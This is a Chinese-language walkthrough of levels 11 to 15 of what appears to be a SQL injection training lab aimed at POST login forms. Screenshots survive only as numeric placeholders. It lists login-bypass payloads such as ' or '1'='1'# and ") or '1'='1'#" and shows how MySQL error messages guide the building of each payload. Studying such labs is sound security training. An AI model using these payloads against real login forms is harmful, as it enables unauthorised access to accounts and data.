关11

11-15

第11关

1562914928658

​ 观察页面可能存在的注入点,可能存在id=1username password 三处

​ 分别对 这三处进行测试

首先测试 id=1

'    "  ')  ")  '))  "))  测试网页均不发生反应

测试 username

# 这个地方是登录,登录需要与数据库进行交互,一般利用的是post方法,而测试登录一般使用万能密码绕过

1562915243178

代码可能存在语句

select * from admin where id=1 and username='username' and password='password' limit 0,1
select * from admin where id=1 and username="username" and password="password" limit 0,1
... ...
#万能密码是利用or进行绕过
select * from admin where id=1 and username='username 'or '1'='1'#' and password='password' limit 0,1
根据查询判断 or '1'='1'等式永远成立,即可绕过输入密码,直接登录成功

1562915584611

1562915613135

即可获取绕过登录

分析源码

1562915859320

第12关

判断注入点与11关相同

1562915989617

查看返回错误

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '") and password=("") LIMIT 0,1' at line 1

根据错误提示重新构造语句

1562916120962

1562916151470


源码分析

1562916278428

第13关

1562916403932

观察接口构造方法与上面两关相同

1562916452519

错误

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') or 1=1#') and password=('rewqrqwer') LIMIT 0,1' at line 1

#根据错误提示从新构造
') or '1'='1'#

1562916543287

#成功

源码分析

1562916625997

第14关

根据上边方法一步步测试

"or ""=""#

1562916735247


源码分析

1562916816982

第15关

方法相同

1562916870181

源码分析

1562916949080